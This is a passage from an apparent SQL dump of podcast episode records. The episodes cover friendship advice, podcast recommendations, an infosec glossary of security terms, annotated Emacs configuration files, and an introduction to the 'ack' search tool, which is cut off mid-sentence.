enjoy, so in theory the activity should be sufficient to further the friendship. However, the activity doesn&#39;t build the friendship, it only builds a partnership. It&#39;s the communication that builds friendship.</p>\n</li>\n</ul>\n<p>unfortunately, there&#39;s no clear point during this process at which you know you have made a friend. so you have to define what a friend is, to you, and then work toward that goal.</p>\n<p>Here are some examples of definitions for friendship. There is no right or wrong here, it&#39;s really just setting your own expectations and requirements:</p>\n<ul>\n<li>\n<p>A friend is someone to hang out with on sundays.</p>\n</li>\n<li>\n<p>A friend is someone I can call when I&#39;ve got some free time to kill.</p>\n</li>\n<li>\n<p>A friend is someone I can play video games with online.</p>\n</li>\n<li>\n<p>A friend is someone I can call, day or night, when I need help.</p>\n</li>\n<li>\n<p>A friend is someone who has come over for dinner, and has met my family, and who I see at least once a month.</p>\n</li>\n</ul>\n<p>There&#39;s no official definition, so you must define it yourself.\nYour definition may differ from the other person&#39;s definition.\nYou might say \"we are best friends\" but they might say \"no, I already have a best friend, but you&#39;re a <em>good</em> friend\" and THAT&#39;S OK.</p>\n<p>If it helps, classify what kinds of friends you have so you understand what kinds of relationships you are maintaining.\nCommunicate with your friends, even if it&#39;s only to let them know that you&#39;re bad at communicating on a regular basis, or ask them how frequently they need to communicate to maintain a healthy friendship.</p>\n',78,108,0,'CC-BY-SA','autism,friendship,relationship,social engineering',0,0,1),
(3905,'2023-07-21','Presenting Fred Black',1105,'I have a short talk to present Fred Black.','<ul>\n<li><strong>IB-program</strong> <a href=\"https://ibo.org/\"\nclass=\"uri\">https://ibo.org/</a></li>\n<li><strong>Animals To The Max</strong> <a\nhref=\"https://corbinmaxey.com/podcast-1\"\nclass=\"uri\">https://corbinmaxey.com/podcast-1</a></li>\n<li><strong>I Spend A Day With...</strong> <a\nhref=\"https://feeds.megaphone.fm/ispentadaywith\"\nclass=\"uri\">https://feeds.megaphone.fm/ispentadaywith</a></li>\n<li><strong>The Vinyl Guide</strong> <a\nhref=\"https://www.thevinylguide.com/\"\nclass=\"uri\">https://www.thevinylguide.com/</a></li>\n<li><strong>NSOD - Norsken, Svensken og Dansken</strong> <a\nhref=\"https://podkast.nrk.no/program/norsken_svensken_og_dansken.rss\"\nclass=\"uri\">https://podkast.nrk.no/program/norsken_svensken_og_dansken.rss</a></li>\n</ul>\n',309,0,0,'CC-BY-SA','school,podcasts,instrument,quiz',0,0,1),
(3906,'2023-07-24','The Oh No! News.',1741,'Sgoti discusses the threat of convenience.','<h2 id=\"the-oh-no-news.\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news.\"><em>Oh No!</em> News is Good\nNews.</h2>\n<ul>\n<li><strong>TAGS:</strong> Oh No News, InfoSec, browser security,\nsession tokens, session id</li>\n</ul>\n<hr />\n<h3 id=\"infosec-the-language-of-security.\"><strong>InfoSec; the language\nof security.</strong></h3>\n<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Session_ID\">Session ID.</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/JSON_Web_Token\">JSON Web\nToken.</a><br />\n\n<ul>\n<li><strong><a\nhref=\"https://foundation.wikimedia.org/wiki/Policy:Terms_of_Use\">Terms\nof Use:</a></strong> Copyleft, free content<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.geeksforgeeks.org/session-vs-token-based-authentication/\">Session\nvs Token Based Authentication.</a><br />\n\n<ul>\n<li><strong><a\nhref=\"https://www.geeksforgeeks.org/legal/copyright-information/\">Terms\nof Use:</a></strong> CC-BY-SA (with CC-BY-NC-SA elements).<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://attack.mitre.org/techniques/T1528/\">Steal Application\nAccess Token.</a> Adversaries can steal application access tokens as a\nmeans of acquiring credentials to access remote systems and resources.\nApplication access tokens are used to make authorized API requests on\nbehalf of a user or service and are commonly used as a way to access\nresources in cloud and container-based applications and\nsoftware-as-a-service (SaaS).<br />\n\n<ul>\n<li><strong><a\nhref=\"https://attack.mitre.org/resources/terms-of-use/\">Terms of\nUse:</a></strong> Similar to CC-BY-SA<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://blog.isc2.org/isc2_blog/2023/02/analysis-circleci-attackers-stole-session-cookie-to-bypass-mfa.html\">Analysis:\nCircleCI attackers stole session cookie to bypass MFA.</a><br />\n\n<ul>\n<li><strong><a href=\"https://www.typepad.com/tos\">Terms of\nUse:</a></strong> Section 8. CONTENT AND CONTENT LICENSES. NOT\ncertain<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.baeldung.com/cs/session-hijacking\">How to Prevent\nSession Hijacking?</a><br />\n\n<ul>\n<li><strong><a href=\"https://www.baeldung.com/terms-of-service\">Terms of\nUse:</a></strong> Copyright, restrictive<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>Additional Information.</strong>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is a \"Data\nBreach\"?</a> A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Malware\"?</a>\nMalware (a <a href=\"https://en.wikipedia.org/wiki/Portmanteau\"\ntitle=\"From Wikipedia, the free encyclopedia\">portmanteau</a> for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser\'s computer security and privacy.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Payload_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Payload\"?</a>\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is \"Phishing\"?</a>\nPhishing is a form of <a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\"\ntitle=\"From Wikipedia, the free encyclopedia\">social engineering</a>\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as <a\nhref=\"https://en.wikipedia.org/wiki/Ransomware\"\ntitle=\"From Wikipedia, the free encyclopedia\">ransomware</a>. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\">Social\nengineering (security)</a> In the context of information security,\nsocial engineering is the <a\nhref=\"https://en.wikipedia.org/wiki/Psychological_manipulation\">psychological\nmanipulation</a> of people into performing actions or divulging\nconfidential information. A type of confidence trick for the purpose of\ninformation gathering, fraud, or system access, it differs from a\ntraditional \"con\" in that it is often one of many steps in a more\ncomplex fraud scheme.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Information_security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Information\nSecurity\" (InfoSec)?</a> Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating <a\nhref=\"https://en.wikipedia.org/wiki/Information\"\ntitle=\"From Wikipedia, the free encyclopedia\">information</a> risks. It\nis part of <a\nhref=\"https://en.wikipedia.org/wiki/Risk_management_information_systems\"\ntitle=\"From Wikipedia, the free encyclopedia\">information risk\nmanagement</a>.\n<ul>\n<li><strong>Information Security Attributes:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Confidentiality\"\ntitle=\"From Wikipedia, the free encyclopedia\">Confidentiality</a>, <a\nhref=\"https://en.wikipedia.org/wiki/Data_integrity\"\ntitle=\"From Wikipedia, the free encyclopedia\">Integrity</a> and <a\nhref=\"https://en.wikipedia.org/wiki/Availability\"\ntitle=\"From Wikipedia, the free encyclopedia\">Availability</a> (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Risk_management\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Risk\nmanagement\"?</a> Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Vulnerability_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Vulnerability\"\n(computing)?</a> Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_surface\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nSurface\"?</a> The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_vector\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nVector\"?</a> In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Standardization\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is\n\"Standardization\"?</a> Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_computer_standards\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of computer\nstandards.</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_technical_standard_organizations\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of technical standard\norganizations.</a></li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Replay_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Replay\nattack\"?</a> A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a\n\"Man-in-the-middle attack\"?</a> In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Transport Layer\nSecurity\" (TLS)?</a> Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Handshake_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Handshake\"\n(computing)?</a>. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Security_theater\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is Security\ntheater?</a> The practice of taking security measures that are\nconsidered to provide the feeling of improved security while doing\nlittle or nothing to achieve it.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>License:</strong> <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">Creative\nCommons Attribution-ShareAlike 4.0 International</a>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This\nwork is licensed under a\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\">Creative\nCommons Attribution-ShareAlike 4.0 International License</a>.</li>\n</ul>\n',391,74,0,'CC-BY-SA','Oh No News, InfoSec, browser security, session tokens, session id',0,0,1),
(3908,'2023-07-26','Emacs package curation, part 2',667,'Let\'s go through every single package installed in my Emacs configuration. File 2 of 3.','<p>We discuss the packages installed in the second of three files that\nmake up my emacs config.</p>\n<pre class=\"elisp\"><code>;;; init-base.el --- The basics\n;;; Commentary:\n;;; Packages for my personal and work laptop, but not termux.\n\n;;; Code:\n\n;;;;;;;;;;;;;;;\n;;; Writing ;;;\n;;;;;;;;;;;;;;;\n\n;; Focused writing mode\n(use-package olivetti\n :hook (olivetti-mode . typewriter-mode-toggle)\n :bind (&quot;C-x C-w&quot; . olivetti-mode)\n :custom (olivetti-body-width 64)\n :config\n (defvar-local typewriter-mode nil\n &quot;Typewriter mode, automatically scroll down to keep cursor in\n the middle of the screen. Setting this variable explicitly will\n not do anything, use typewriter-mode-on, typewriter-mode-off\n and typewriter-mode-toggle instead.&quot;)\n (defun typewriter-mode-on()\n &quot;Automatically scroll down to keep cursor in the middle of screen.&quot;\n (interactive)\n (setq-local typewriter-mode t)\n (centered-cursor-mode +1))\n (defun typewriter-mode-off()\n &quot;Automatically scroll down to keep cursor in the middle of screen.&quot;\n (interactive)\n (kill-local-variable &#39;typewriter-mode)\n (centered-cursor-mode -1))\n (defun typewriter-mode-toggle()\n &quot;Toggle typewriter scrolling mode on and off.&quot;\n (interactive)\n (if typewriter-mode (typewriter-mode-off) (typewriter-mode-on))))\n\n(use-package centered-cursor-mode)\n\n;; Check for weasel words and some other simple rules\n(use-package writegood-mode\n :bind (&quot;C-c g&quot; . writegood-mode))\n\n;; spellchecking\n(use-package flyspell-correct\n :after flyspell\n :bind (:map flyspell-mode-map\n (&quot;C-;&quot; . flyspell-correct-wrapper)))\n\n;; show correction options in a popup instead of the minibuffer\n(use-package flyspell-correct-popup\n :after (flyspell-correct))\n\n;online thesaurus service from powerthesaurus.org\n(use-package powerthesaurus)\n\n;; WordNet Thesaurus replacement\n(use-package synosaurus\n :custom (synosaurus-choose-method &#39;default)\n :config (when window-system\n (if (string= (x-server-vendor) &quot;Microsoft Corp.&quot;)\n (setq synosaurus-wordnet--command &quot;C:\\\\Program Files (x86)\\\\WordNet\\\\2.1\\\\bin\\\\wn.exe&quot;))))\n\n;; WordNet search and view\n(use-package wordnut\n :bind (&quot;C-c s&quot; . wordnut-search)\n :config (when window-system\n (if (string= (x-server-vendor) &quot;Microsoft Corp.&quot;)\n (setq wordnut-cmd &quot;C:\\\\Program Files (x86)\\\\WordNet\\\\2.1\\\\bin\\\\wn.exe&quot;))))\n\n;; fill and unfill with the same key\n(use-package unfill\n :bind (&quot;M-q&quot; . unfill-toggle))\n\n;; Markdown...\n(use-package markdown-mode)\n\n;;;;;;;;;;;;;;\n;;; Coding ;;;\n;;;;;;;;;;;;;;\n\n;; Syntax checking\n(use-package flycheck\n :diminish\n :init (global-flycheck-mode))\n\n(use-package flycheck-popup-tip\n :after (flycheck)\n :hook (flycheck-mode-hook . flycheck-popup-tip-mode))\n\n;; Web design\n(use-package emmet-mode\n :hook (sgml-mode . emmet-mode) ;; Auto-start on any markup modes\n (css-mode . emmet-mode)) ;; enable Emmet&#39;s css abbreviation.\n\n(use-package sass-mode)\n\n(use-package web-mode)\n\n;; Python\n(use-package python\n :mode (&quot;\\\\.py\\\\&#39;&quot; . python-mode)\n :interpreter (&quot;python&quot; . python-mode))\n\n;; highlight todo items everywhere\n(use-package hl-todo\n :straight (:host github :repo &quot;tarsius/hl-todo&quot;)\n :custom (hl-todo-keyword-faces\n `((&quot;FIXME&quot; error bold)\n (&quot;STUB&quot; error bold)\n (&quot;REPLACETHIS&quot; error bold)\n (&quot;REVISIT&quot; error bold)))\n (hl-todo-exclude-modes nil)\n :config (add-to-list &#39;hl-todo-include-modes &#39;org-mode)\n :init (global-hl-todo-mode))\n\n;; git\n(use-package magit)\n\n(use-package git-timemachine)\n\n;; rest APIs via org source block\n(use-package ob-restclient)\n\n;;; END ;;;\n\n(provide &#39;init-base)\n;;; init-base.el ends here</code></pre>\n',399,0,0,'CC-BY-SA','emacs,elisp',0,0,1),
(3918,'2023-08-09','Emacs package curation, part 3',864,'Let\'s go through every single package installed in my Emacs configuration. The last one.','<p>We discuss the packages installed in the second of three files that\nmake up my emacs config.</p>\n<p>Since recording, I pulled in some EXWM (the Emacs X Window Manager,\nthat\'s right), even though I\'m not actually using it, I\'m still using\nstumpWM.</p>\n<p>I have also added pass, the password manager, khardel, an emacs\npackage for the khard CLI address book application.</p>\n<p>I also moved (server-start) to this file, so that it\'ll only happen\nwhen I\'m on linux.</p>\n<pre class=\"elisp\"><code>;;; init-extra.el --- Extra init stuff\n;;; Commentary:\n;;; Stuff just for my personal laptop, not for my work laptop or termux, for example.\n\n;;; Code:\n\n;;;;;;;;;;;;;;;;\n;;; org-roam ;;;\n;;;;;;;;;;;;;;;;\n\n(use-package org-roam\n :demand t\n :straight (:host github :repo &quot;org-roam/org-roam&quot;\n :files (:defaults &quot;extensions/*&quot;))\n :custom (org-roam-mode-sections (list #&#39;org-roam-backlinks-section\n #&#39;org-roam-reflinks-section\n #&#39;org-roam-unlinked-references-section))\n :init (setq org-roam-directory &quot;~/org/roam/&quot;\n org-roam-capture-templates\n &#39;((&quot;o&quot; &quot;outline&quot; plain\n &quot;%?&quot;\n :if-new\n (file+head &quot;${slug}.org&quot; &quot;#+title: ${title}\\n#+filetags: :outline:\\n&quot;)\n :immediate-finish t\n :unnarrowed t)\n (&quot;r&quot; &quot;reference&quot; plain &quot;%?&quot;\n :if-new\n (file+head &quot;${slug}.org&quot; &quot;#+title: ${title}\\n&quot;)\n :immediate-finish t\n :unnarrowed t)\n (&quot;m&quot; &quot;memo&quot; entry &quot;* ${title}\\n%?&quot;\n :if-new\n (file &quot;memos.org&quot;)\n :immediate-finish t\n :unnarrowed t)))\n :bind ((&quot;C-c n l&quot; . org-roam-buffer-toggle)\n (&quot;C-c n f&quot; . org-roam-node-find)\n (&quot;C-c n g&quot; . org-roam-graph)\n (&quot;C-c n i&quot; . org-roam-node-insert)\n (&quot;C-c n c&quot; . org-roam-capture)\n ;; Dailies\n (&quot;C-c n j&quot; . org-roam-dailies-capture-today))\n :config\n ;; If you&#39;re using a vertical completion framework, you might want a more informative completion interface\n (setq org-roam-node-display-template (concat &quot;${title:*} &quot; (propertize &quot;${tags:10}&quot; &#39;face &#39;org-tag)))\n (org-roam-db-autosync-mode)\n ;; If using org-roam-protocol\n (require &#39;org-roam-protocol))\n\n;; citations\n(use-package citar\n :after org-roam\n :custom (org-cite-insert-processor &#39;citar)\n (org-cite-follow-processor &#39;citar)\n (org-cite-activate-processor &#39;citar)\n (citar-bibliography &#39;(&quot;~/org/biblio.bib&quot;))\n (citar-notes-paths &#39;(&quot;~/org/roam&quot;))\n (citar-file-note-extensions &#39;(&quot;org&quot;))\n :hook (LaTeX-mode . citar-capf-setup)\n (org-mode . citar-capf-setup)\n :bind ((&quot;C-c n b&quot; . #&#39;citar-open-notes)\n :map org-mode-map :package org\n (&quot;C-c b&quot; . #&#39;org-cite-insert)))\n\n;; view your org-roam notes on a map\n(use-package org-roam-ui\n :after org-roam\n :custom (org-roam-ui-sync-theme t)\n (org-roam-ui-follow t)\n (org-roam-ui-update-on-save t)\n (org-roam-ui-open-on-start t))\n\n;; archive web pages in org attachments\n(use-package org-board\n :after org\n :custom (org-board-default-browser #&#39;browse-url)\n (org-board-property &quot;ROAM_REFS&quot;)\n :bind (:map org-mode-map\n (&quot;C-c B a&quot; . org-board-archive)\n (&quot;C-c B o&quot; . org-board-open)\n (&quot;C-c B D&quot; . org-board-delete-all)))\n\n;;;;;;;;;;;;;;;\n;;; Writing ;;;\n;;;;;;;;;;;;;;;\n\n; something like grammarly, but open source\n(use-package langtool)\n\n;; better than docview, for pdf\n(use-package pdf-tools)\n\n;; annotating docs in org files\n(use-package org-noter)\n\n;; epub\n(use-package nov\n :mode (&quot;\\\\.epub$&quot; . nov-mode))\n\n;;; Invoke quick emacs windows to edit anything anywhere.\n;;; bind a key in xorg to ~emacsclient -c (emacs-everywhere)~\n(use-package emacs-everywhere)\n\n;;;;;;;;;;;;;;\n;;; Auctex ;;;\n;;;;;;;;;;;;;;\n(straight-use-package &#39;( auctex\n :host nil :repo &quot;https://git.savannah.gnu.org/git/auctex.git&quot;\n :pre-build ((&quot;./autogen.sh&quot;)\n (&quot;./configure&quot; &quot;--without-texmf-dir&quot; &quot;--with-lispdir=.&quot;)\n (&quot;make&quot;))))\n\n (setq TeX-data-directory (expand-file-name &quot;straight/repos/auctex&quot; user-emacs-directory)\n TeX-lisp-directory TeX-data-directory)\n\n (eval-after-load &#39;info\n &#39;(add-to-list &#39;Info-additional-directory-list\n (expand-file-name &quot;straight/repos/auctex/doc&quot; user-emacs-directory)))\n (load (expand-file-name &quot;straight/repos/auctex/auctex.el&quot; user-emacs-directory) nil t t)\n (load (expand-file-name &quot;straight/repos/auctex/preview-latex.el&quot; user-emacs-directory) nil t t)\n\n(use-package evil-tex)\n\n(use-package latex-preview-pane\n :custom (latex-preview-pane-use-frame t))\n\n(use-package adaptive-wrap)\n\n;;; END AUCTEX ;;;\n\n;;;;;;;;;;;;;;;;;;;\n;;; Programming ;;;\n;;;;;;;;;;;;;;;;;;;\n\n;; downloading and viewing Dash documentation files\n(use-package dash-docs\n :init (defun elisp-doc ()\n (setq-local consult-dash-docsets &#39;(&quot;Emacs Lisp&quot;)))\n (add-hook &#39;emacs-lisp-mode-hook &#39;elisp-doc)\n :custom (dash-docs-docsets-path (expand-file-name &quot;docsets&quot; user-emacs-directory))\n (dash-docs-browse-func &#39;eww))\n\n(use-package consult-dash\n :straight (:host codeberg :repo &quot;rahguzar/consult-dash&quot;)\n :bind ((&quot;M-s d&quot; . consult-dash))\n :after consult\n :config\n ;; Use the symbol at point as initial search term\n (consult-customize consult-dash :initial (thing-at-point &#39;symbol)))\n\n;;;;;;;;;;;;;\n;;; Email ;;;\n;;;;;;;;;;;;;\n\n(use-package notmuch\n :commands notmuch\n :config (defun notmuch-show-view-html ()\n &quot;Open the text/html part of the current message using\n `notmuch-show-view-part&#39;. From https://emacs.stackexchange.com/a/63457&quot;\n (interactive)\n (save-excursion\n (goto-char (prop-match-beginning\n (text-property-search-forward\n :notmuch-part &quot;text/html&quot;\n (lambda (value notmuch-part)\n (equal (plist-get notmuch-part :content-type)\n value)))))\n (notmuch-show-view-part)))\n ;; Enable link to message via org-store-link\n (load-file (expand-file-name &quot;org-notmuch.el&quot; user-emacs-directory))\n (require &#39;org-notmuch)\n :bind (:map notmuch-show-mode-map\n (&quot;. v&quot; . notmuch-show-view-html))\n :custom (notmuch-draft-folder &quot;local/drafts&quot;)\n (notmuch-search-oldest-first nil)\n (notmuch-fcc-dirs &quot;fastmail/sent&quot;)\n (notmuch-tagging-keys &#39;((&quot;r&quot; (&quot;+receipt&quot; &quot;-inbox&quot;) &quot;Receipt&quot;)))\n (sendmail-program (executable-find &quot;msmtp&quot;))\n (message-sendmail-f-is-evil t)\n (message-sendmail-extra-arguments &#39;(&quot;--read-envelope-from&quot;)))\n\n(use-package khardel\n :after notmuch\n :bind (:map notmuch-message-mode-map\n (&quot;C-c M-k&quot; . khardel-insert-email)))\n\n;;;;;;;;;;;;\n;;; PASS ;;;\n;;;;;;;;;;;;\n\n(use-package pass)\n\n;;;;;;;;;;;;\n;;; EXWM ;;;\n;;;;;;;;;;;;\n\n(use-package xelb\n :disabled t\n :straight (:host github :repo &quot;ch11ng/xelb&quot;))\n\n(use-package exwm\n :disabled t\n :straight (:host github :repo &quot;ch11ng/exwm&quot;)\n :defer t\n :config (require &#39;exwm-systemtray)\n (require &#39;exwm-randr)\n (setq xcb:connection-timeout 20)\n (exwm-systemtray-enable)\n (add-hook &#39;exwm-update-class-hook\n (lambda ()\n (exwm-workspace-rename-buffer exwm-class-name)))\n (add-hook &#39;exwm-randr-screen-change-hook\n (lambda ()\n (start-process-shell-command\n &quot;autorandr&quot; nil &quot;autorandr -c&quot;)))\n (defun exwm-randr-mobile()\n &quot;Load a xrandr profile to use only the laptop screen.&quot;\n (interactive)\n (start-process-shell-command &quot;xrandr&quot; nil &quot;xrandr --output eDP-1 --auto --output DP-1 --off&quot;))\n (defun exwm-randr-docked()\n &quot;Load a xrandr profile to use only the connected external screen DP-1.&quot;\n (interactive)\n (start-process-shell-command &quot;xrandr&quot; nil &quot;xrandr --output eDP-1 --off --output DP-1 --auto&quot;))\n (defun exwm-randr-chair()\n &quot;Load a xrandr profile to use both the laptop screen and the connected screen.&quot;\n (interactive)\n (start-process-shell-command &quot;xrandr&quot; nil &quot;xrandr --output HDMI-1 --auto --scale 1.3 --output eDP-1 --off&quot;))\n (defun exwm-randr-all()\n &quot;Load a xrandr profile to use both the laptop screen and the connected screen.&quot;\n (interactive)\n (start-process-shell-command &quot;xrandr&quot; nil &quot;xrandr --output eDP-1 --primary --output DP-1 --above eDP-1&quot;)\n (setq exwm-randr-workspace-output-plist &#39;(0 &quot;eDP-1&quot; 1 &quot;DP-1&quot;))\n )\n (exwm-randr-enable)\n :custom (exwm-input-global-keys\n `((,(kbd &quot;s-r&quot;) . exwm-reset)\n (,(kbd &quot;s-w&quot;) . exwm-workspace-switch)\n (,(kbd &quot;s-a&quot;) . exwm-randr-all)\n (,(kbd &quot;s-c&quot;) . exwm-randr-chair)\n (,(kbd &quot;s-d&quot;) . exwm-randr-docked)\n (,(kbd &quot;s-m&quot;) . exwm-randr-mobile)\n (,(kbd &quot;s-k&quot;) . exwm-input-release-keyboard)\n (,(kbd &quot;s-f&quot;) . exwm-layout-toggle-fullscreen)\n (,(kbd &quot;s-p&quot;) . pass)\n (,(kbd &quot;s-t&quot;) . exwm-workspace-switch-to-buffer)\n (,(kbd &quot;s-&amp;&quot;) . (lambda (command)\n (interactive (list (read-shell-command &quot;$ &quot;)))\n (start-process-shell-command command nil command)))\n ,@(mapcar (lambda (i)\n `(,(kbd (format &quot;s-%d&quot; i)) .\n (lambda ()\n (interactive)\n (exwm-workspace-switch-create ,i))))\n (number-sequence 0 9))\n ))\n )\n\n;; start emacs server\n(server-start)\n\n;;; END ;;;\n\n(provide &#39;init-extra)\n;;; init-extra.el ends here</code></pre>\n',399,0,0,'CC-BY-SA','emacs,elisp',0,0,1),
(3909,'2023-07-27','Permission tickets. ',688,'Collective delusions of elective conclusions. ','<p>No special knowledge nor resources.<br />\nThis is a preview show for some future, self referential tangle of\ncryptographic distraction.</p>\n<p>So far, I see money as some social credit by proxy.<br />\nI recognise the utility of keeping track of resource recipes.<br />\nI also see dangers in over abstracting relations beyond robustly\nprovable outcomes.</p>\n',398,0,1,'CC-BY-SA','ledger,cryptographic,consensus,permission,integrity',0,0,1),
(3911,'2023-07-31','An overview of the \'ack\' command',1255,'A Perl-based \'grep\'-like tool that can search by file type','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>I have occasionally been using a tool called <code>ack</code> for a\nfew years now. Its billed as <em>“an alternative to grep for\nprogrammers”</em>.</p>\n<p>There are several features I find particularly useful:</p>\n<ul>\n<li><p>It can restrict text searches to files of a particular\n<em>type</em></p></li>\n<li><p>It uses Perl regular expressions which may be the most powerful\nand feature rich types of REs available at present</p></li>\n<li><p>You can limit the search area within a file if desired</p></li>\n</ul>\n<p>It is a very comprehensive and useful tool, though maybe quite\ncomplex to use. Personally I use it in special cases where I need its\npower, and otherwise use the usual <code>grep</code>.</p>\n<p>In this episode I will give you the flavour of its capabilities and\notherwise leave you to research more if it sounds interesting.</p>\n<h2 id=\"installing-ack\">Installing <code>ack</code></h2>\n<p>The tool can be found in repositories. I use Debian, and\n<code>ack</code> is in the Debian repo and can be installed with:</p>\n<pre><code>sudo apt install ack</code></pre>\n<p>Installing it this way the version I have (and am describing here) is\n3.6.0. There is a new version, 3.7.0 available from the <a\nhref=\"https://beyondgrep.com/\">website</a>.</p>\n<p>The documentation on the website suggests installing it as a Perl\nmodule using <code>CPAN</code>, which is something I will do soon I\nthink.</p>\n<h2 id=\"perl-regular-expressions\">Perl regular expressions</h2>\n<p>These are very sophisticated.</p>\n<p>A project to convert the Perl regular expression capabilities into a\nportable library form was undertaken by Philip Hazel of Cambridge\nUniversity in 1997, and was called <em>Perl Compatible Regular\nExpressions</em> or PCRE.</p>\n<p>Philip Hazel was the originator of the <code>exim</code> mail\ntransfer agent (MTA, or mail server), and wanted to use PCRE within\nit.</p>\n<p>Since then PCRE (and later PCRE2) is the way regular expressions are\nimplemented in a lot of other software, which shows how widespread use\nof the Perl RE has become.</p>\n<p>The <code>ack</code> documentation refers to the Perl manual for\ndetails of this type of regular expression, and to a tutorial, if you\nwish to gain a deeper understanding.</p>\n<p>It should be noted that GNU <code>grep</code> can use Perl compatible\nregular expressions when matching lines in files, but this feature 